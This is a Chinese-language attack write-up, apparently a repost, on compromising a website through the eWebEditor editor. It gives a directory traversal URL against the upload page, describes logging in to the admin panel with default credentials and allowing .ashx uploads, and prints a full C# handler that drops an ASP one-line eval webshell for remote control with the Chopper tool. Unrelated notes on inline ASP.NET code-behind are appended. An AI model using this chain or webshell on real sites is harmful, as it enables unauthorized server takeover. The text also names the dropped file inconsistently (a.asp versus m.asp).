http://www.2cto.com/Article/201302/188962.html

前言：有人已經寫過了，突破上傳過濾，今天我也碰到了。就當記錄一下吧，

正文：有個朋友要我給他檢測一個站點，很久都沒操作，用來練練手把。 用自動掃描指令碼掃描出敏感目錄 inc/ewebeditor/admin_login.asp 既然有ewebeditor編輯器那就嘗試下編輯器漏洞把。 /inc/ewebeditor/admin/upload.asp?id=6&d_viewmode=list&dir=../ 直接遍歷來了。 使用預設密碼登入ewebeditor後臺，新新增樣式，本想很容易解決。 上傳免殺小馬

加密一句話也是一樣的結果。 那我們怎麼解決之個問題呢- 首先在編輯器樣式的上傳檔案新增ashx字尾 在上傳我們的Ashx馬。 <%@ WebHandler Language="C#" Class="Handler" %> using System; using System.Web; using System.IO; public class Handler : IHttpHandler {     public void ProcessRequest (HttpContext context) {         context.Response.ContentType = "text/plain";         StreamWriter file1= File.CreateText(context.Server.MapPath("a.asp"));         file1.Write("<%eval request(\"a\")%>");         file1.Flush();         file1.Close();     }     public bool IsReusable {         get {             return false;         }     } } 接下來訪問http://www.xxx.com/UploadFile/eWebEditor/201329112155838.ashx 會在eWebEditor生成一個m.asp檔案（一句話木馬） 用菜刀訪問http://www.2cto.com /UploadFile/eWebEditor/m.asp 就突破了
我們新建的ashx一般都帶.cs檔案,這裡把cs檔案的後臺程式碼寫在了ashx檔案裡面然後把cs檔案刪了,然後把ashx檔案頭部的CodeBehind="Handler.cs"這句去掉. (vs中選中ashx檔案右鍵開啟方式:xml編輯器開啟) http://cache.baiducontent.com/c?m=9f65cb4a8c8507ed4fece763104687270e54f7327d818c027fa3cf1fd5791d1c053db2fa3a211306d0cf786600ad5d19b7b0607d207326a0efbb9f3bddace55838895723061e913114c418dfdc3023d656e34de8df4aa6f8ba2592dec5a2dd4324be&p=8d33c64ad49e57ff57e9c02945&newp=8b2a971bcc9e15e808e290625553d8274e39806238d68e0f2280d4&user=baidu&fm=sc&query=%B4%FA%C2%EB%D0%B4%D4%DAaspx%C0%EF&qid=b3ba798900012663&p1=10 在aspx也寫cs後臺代碼:在HTML頁面寫C#程式碼其實和與在後臺一樣，只要把設計器生成的程式碼也加入進去就行。(繼承:<script language="C#" runat="server"></script>這樣的程式碼如何繼承吧？ 頁面頂部 <%@ page language="c#" inherits="名稱空間, 類名" %>) http://www.cnblogs.com/cuihongyu3503319/archive/2012/06/23/2559552.html

<script language="c#" runat="server"> #region Page_Load private void Page_Load(object sender, System.EventArgs e) { if (!Page.IsPostBack) { } } #endregion #region Web Form Designer generated code override protected void OnInit(EventArgs e) { // // CODEGEN：該呼叫是 ASP.NET Web 窗體設計器所必需的。 // InitializeComponent(); base.OnInit(e); } /// <summary> /// 設計器支援所需的方法 - 不要使用程式碼編輯器修改 /// 此方法的內容。 /// </summary> private void InitializeComponent() { this.Load += new System.EventHandler(this.Page_Load); } #endregion